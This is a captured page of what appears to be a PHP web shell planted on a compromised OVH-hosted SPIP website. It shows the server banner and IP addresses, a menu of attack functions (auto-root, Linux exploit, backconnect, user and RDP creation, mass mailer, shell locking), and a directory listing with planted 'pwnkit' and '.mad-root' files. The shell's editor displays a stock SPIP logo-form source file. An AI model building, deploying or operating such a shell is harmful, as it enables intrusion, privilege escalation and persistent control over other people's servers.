Linux webm008.cluster115.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.115.20.8 | : 216.73.216.59
Cant Read [ /etc/named.conf ]
8.1.34
quelfutuu
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
quelfutuu /
www /
prive /
formulaires /
[ HOME SHELL ]
Name
Size
Permission
Action
dateur
[ DIR ]
drwx---r-x
selecteur
[ DIR ]
drwx---r-x
.mad-root
0
B
-rw-r--r--
configurer_annonces.html
5.96
KB
-rw----r--
configurer_annonces.php
2.58
KB
-rw----r--
configurer_articles.html
8.38
KB
-rw----r--
configurer_articles.php
1.82
KB
-rw----r--
configurer_avertisseur.html
1.65
KB
-rw----r--
configurer_avertisseur.php
1.19
KB
-rw----r--
configurer_ecran_connexion.htm...
2.31
KB
-rw----r--
configurer_ecran_connexion.php
2.17
KB
-rw----r--
configurer_flux.html
1.79
KB
-rw----r--
configurer_flux.php
1.15
KB
-rw----r--
configurer_identite.html
3.37
KB
-rw----r--
configurer_identite.php
2.17
KB
-rw----r--
configurer_langage.html
1.2
KB
-rw----r--
configurer_langage.php
1.82
KB
-rw----r--
configurer_langue.html
1.42
KB
-rw----r--
configurer_langue.php
1.89
KB
-rw----r--
configurer_logos.html
2.36
KB
-rw----r--
configurer_logos.php
1.19
KB
-rw----r--
configurer_multilinguisme.html
5.08
KB
-rw----r--
configurer_multilinguisme.php
4.72
KB
-rw----r--
configurer_preferences.html
3.36
KB
-rw----r--
configurer_preferences.php
2.69
KB
-rw----r--
configurer_preferences_menus.h...
3.33
KB
-rw----r--
configurer_preferences_menus.p...
2.69
KB
-rw----r--
configurer_previsualiseur.html
1.66
KB
-rw----r--
configurer_previsualiseur.php
1.14
KB
-rw----r--
configurer_redacteurs.html
1.66
KB
-rw----r--
configurer_redacteurs.php
1.47
KB
-rw----r--
configurer_reducteur.html
5.16
KB
-rw----r--
configurer_reducteur.php
3.71
KB
-rw----r--
configurer_relayeur.html
2.72
KB
-rw----r--
configurer_relayeur.php
4.34
KB
-rw----r--
configurer_rubriques.html
2.3
KB
-rw----r--
configurer_rubriques.php
1.2
KB
-rw----r--
configurer_transcodeur.html
1.41
KB
-rw----r--
configurer_transcodeur.php
1.38
KB
-rw----r--
configurer_visiteurs.html
1.69
KB
-rw----r--
configurer_visiteurs.php
1.56
KB
-rw----r--
dater.html
5.35
KB
-rw----r--
dater.php
11.79
KB
-rw----r--
declarer_bases.html
3.52
KB
-rw----r--
declarer_bases.php
6.13
KB
-rw----r--
declarer_bases_2.html
2.2
KB
-rw----r--
declarer_bases_3.html
1.74
KB
-rw----r--
editer_article.html
5.18
KB
-rw----r--
editer_article.php
6.65
KB
-rw----r--
editer_auteur.html
6.63
KB
-rw----r--
editer_auteur.php
17.76
KB
-rw----r--
editer_liens.html
3.05
KB
-rw----r--
editer_liens.php
18.32
KB
-rw----r--
editer_logo.html
2.92
KB
-rw----r--
editer_logo.php
9.02
KB
-rw----r--
editer_rubrique.html
2.43
KB
-rw----r--
editer_rubrique.php
6.31
KB
-rw----r--
inc-apercu-logo.html
1.23
KB
-rw----r--
inc-choisir-objets.html
666
B
-rw----r--
inc-inscription-explication.ht...
285
B
-rw----r--
inc-instituer_auteur.html
2.53
KB
-rw----r--
inc-instituer_auteur_fonctions...
2.11
KB
-rw----r--
inc-logo_auteur.html
237
B
-rw----r--
inc-options-langues.html
550
B
-rw----r--
inscription.html
2.47
KB
-rw----r--
inscription.php
5.92
KB
-rw----r--
instituer_objet.html
3.54
KB
-rw----r--
instituer_objet.php
5.5
KB
-rw----r--
login.html
3.27
KB
-rw----r--
login.php
12.14
KB
-rw----r--
menu_lang.html
517
B
-rw----r--
mot_de_passe.html
1.82
KB
-rw----r--
mot_de_passe.php
5.36
KB
-rw----r--
oubli.html
1.28
KB
-rw----r--
oubli.php
3.19
KB
-rw----r--
pwnkit
0
B
-rwxr-xr-x
recherche_ecrire.html
1.55
KB
-rw----r--
recherche_ecrire.php
1.76
KB
-rw----r--
rediriger_article.html
1.53
KB
-rw----r--
rediriger_article.php
2.2
KB
-rw----r--
traduire.html
3.91
KB
-rw----r--
traduire.php
6.24
KB
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : editer_logo.php
<?php /***************************************************************************\ * SPIP, Système de publication pour l'internet * * * * Copyright © avec tendresse depuis 2001 * * Arnaud Martin, Antoine Pitrou, Philippe Rivière, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribué sous licence GNU/GPL. * \***************************************************************************/ /** * Gestion du formulaire d'édition de logo * * Ce formulaire ajoute, modifie ou supprime des logos sur les objets de SPIP. * * - En dehors d'une boucle, ce formulaire modifie le logo du site. * - Dans une boucle, il modifie le logo de la table selectionnée. * * Pensez juste que l'appel de `#LOGO_{TYPE}` s'appuie sur le nom de la clé primaire et non sur le * nom de l'objet réel. Par exemple on ecrira `#LOGO_GROUPE` (et non `#LOGO_GROUPEMOTS`) pour afficher * un logo issu du formulaire mis dans une boucle `GROUPES_MOTS` * * - il est possible de lui passer les paramètres objet et id : `#FORMULAIRE_EDITER_LOGO{article,1}` * - il est possible de spécifier une URL de redirection apres traitement : * `#FORMULAIRE_EDITER_LOGO{article,1,#URL_ARTICLE}` * * @package SPIP\Core\Formulaires **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } // utilise pour le logo du site, donc doit rester ici $GLOBALS['logo_libelles']['site'] = _T('logo_site'); $GLOBALS['logo_libelles']['racine'] = _T('logo_standard_rubrique'); /** * Chargement du formulaire d'édition de logo * * @param string $objet Objet SPIP auquel sera lie le document (ex. article) * @param int $id_objet Identifiant de l'objet * @param string $retour Url de redirection apres traitement * @param array $options Tableau d'option (exemple : image_reduire => 50) * @return array|false Variables d'environnement pour le fond */ function formulaires_editer_logo_charger_dist($objet, $id_objet, $retour = '', $options = []) { // pas dans une boucle ? formulaire pour le logo du site // dans ce cas, il faut chercher un 'siteon0.ext' if (!$objet) { $objet = 'site'; } $objet = objet_type($objet); $_id_objet = id_table_objet($objet); if (!is_array($options)) { $options = unserialize($options); } $options = spip_sanitize_from_request($options, '*'); if (!isset($options['titre'])) { $balise_img = chercher_filtre('balise_img'); $img = $balise_img(chemin_image('image-24.png'), '', 'cadre-icone'); $libelles = pipeline('libeller_logo', $GLOBALS['logo_libelles']); $libelle = (($id_objet or $objet != 'rubrique') ? $objet : 'racine'); if (isset($libelles[$libelle])) { $libelle = $libelles[$libelle]; } elseif ($libelle = objet_info($objet, 'texte_logo_objet')) { $libelle = _T($libelle); } else { $libelle = _L('Logo'); } switch ($objet) { case 'article': $libelle .= ' ' . aider('logoart'); break; case 'breve': $libelle .= ' ' . aider('breveslogo'); break; case 'rubrique': $libelle .= ' ' . aider('rublogo'); break; default: break; } $options['titre'] = $img . $libelle; } if (!isset($options['editable'])) { include_spip('inc/autoriser'); $options['editable'] = autoriser('iconifier', $objet, $id_objet); } $res = [ 'editable' => ($GLOBALS['meta']['activer_logos'] == 'oui' ? ' ' : '') && (!isset($options['editable']) or $options['editable']), 'logo_survol' => ($GLOBALS['meta']['activer_logos_survol'] == 'oui' ? ' ' : ''), 'objet' => $objet, 'id_objet' => $id_objet, '_options' => $options, '_show_upload_off' => '', ]; // rechercher le logo de l'objet // la fonction prend un parametre '_id_objet' etrange : // le nom de la cle primaire (et non le nom de la table) // ou directement le nom du raccourcis a chercher $chercher_logo = charger_fonction('chercher_logo', 'inc'); $etats = $res['logo_survol'] ? ['on', 'off'] : ['on']; foreach ($etats as $etat) { $logo = $chercher_logo($id_objet, $_id_objet, $etat); if ($logo) { $res['logo_' . $etat] = $logo[0]; $res['logo_id_' . $etat] = $logo[5]['id_document'] ?? ''; } } // pas de logo_on -> pas de formulaire pour le survol if (!isset($res['logo_on'])) { $res['logo_survol'] = ''; } elseif (!isset($res['logo_off']) and _request('logo_up')) { $res['_show_upload_off'] = ' '; } // si le logo n'est pas editable et qu'il n'y en a pas, on affiche pas du tout le formulaire if ( !$res['editable'] and !isset($res['logo_off']) and !isset($res['logo_on']) ) { return false; } return $res; } /** * Identifier le formulaire en faisant abstraction des parametres qui * ne representent pas l'objet edite * * @param string $objet Objet SPIP auquel sera lie le document (ex. article) * @param int $id_objet Identifiant de l'objet * @param string $retour Url de redirection apres traitement * @param array $options Tableau d'option (exemple : image_reduire => 50) * @return string Hash du formulaire */ function formulaires_editer_logo_identifier_dist($objet, $id_objet, $retour = '', $options = []) { return serialize([$objet, $id_objet]); } /** * Verification avant traitement du formulaire d'édition de logo * * On verifie que l'upload s'est bien passe et * que le document recu est une image (d'apres son extension) * * @param string $objet Objet SPIP auquel sera lie le document (ex. article) * @param int $id_objet Identifiant de l'objet * @param string $retour Url de redirection apres traitement * @param array $options Tableau d'option (exemple : image_reduire => 50) * @return array Erreurs du formulaire */ function formulaires_editer_logo_verifier_dist($objet, $id_objet, $retour = '', $options = []) { $erreurs = []; // verifier les extensions $sources = formulaire_editer_logo_get_sources(); include_spip('action/editer_logo'); $extensions_possibles = $GLOBALS['formats_logos']; if (in_array('jpg', $extensions_possibles)) { $extensions_possibles[] = 'jpeg'; } foreach ($sources as $etat => $file) { // seulement si une reception correcte a eu lieu if ($file and $file['error'] == 0) { if ( !in_array( strtolower(pathinfo($file['name'], PATHINFO_EXTENSION)), $extensions_possibles ) ) { $erreurs['logo_' . $etat] = _L('Extension non reconnue'); } } elseif ($file and $file['error'] != 0 and isset($file['msg'])) { $erreurs['message_erreur'] = $file['msg']; } } return $erreurs; } /** * Traitement de l'upload d'un logo * * Il est affecte au site si la balise n'est pas dans une boucle, * sinon a l'objet concerne par la boucle ou indiquee par les parametres d'appel * * @param string $objet Objet SPIP auquel sera lie le document (ex. article) * @param int $id_objet Identifiant de l'objet * @param string $retour Url de redirection apres traitement * @param array $options Tableau d'option (exemple : image_reduire => 50) * @return array Retour des traitements */ function formulaires_editer_logo_traiter_dist($objet, $id_objet, $retour = '', $options = []) { $res = ['editable' => ' ']; // pas dans une boucle ? formulaire pour le logo du site // dans ce cas, il faut chercher un 'siteon0.ext' if (!$objet) { $objet = 'site'; } include_spip('action/editer_logo'); // effectuer la suppression si demandee d'un logo $on = _request('supprimer_logo_on'); if ($on or _request('supprimer_logo_off')) { logo_supprimer($objet, $id_objet, $on ? 'on' : 'off'); $res['message_ok'] = ''; // pas besoin de message : la validation est visuelle set_request('logo_up', ' '); } // sinon supprimer ancien logo puis copier le nouveau else { $sources = formulaire_editer_logo_get_sources(); foreach ($sources as $etat => $file) { if ($file and $file['error'] == 0) { if ($err = logo_modifier($objet, $id_objet, $etat, $file)) { $res['message_erreur'] = $err; } else { $res['message_ok'] = ''; } // pas besoin de message : la validation est visuelle set_request('logo_up', ' '); } } } // Invalider les caches de l'objet include_spip('inc/invalideur'); suivre_invalideur("id='$objet/$id_objet'"); if ($retour) { $res['redirect'] = $retour; } return $res; } /** * Extraction des sources des fichiers uploadés correspondant aux 2 logos (normal + survol) * si leur upload s'est bien passé * * @return array * Sources des fichiers dans les clés `on` ou `off` */ function formulaire_editer_logo_get_sources() { if (!$_FILES) { $_FILES = $GLOBALS['HTTP_POST_FILES'] ?? []; } if (!is_array($_FILES)) { return []; } include_spip('inc/documents'); $sources = []; foreach (['on', 'off'] as $etat) { $logo = 'logo_' . $etat; if (isset($_FILES[$logo])) { if ($_FILES[$logo]['error'] == 0) { $sources[$etat] = $_FILES[$logo]; } elseif ($_FILES[$logo]['error'] != 0) { $msg = check_upload_error($_FILES[$logo]['error'], false, true); if ($msg and is_string($msg)) { $sources[$etat] = $_FILES[$logo]; $sources[$etat]['msg'] = $msg; } } } } return $sources; }
Close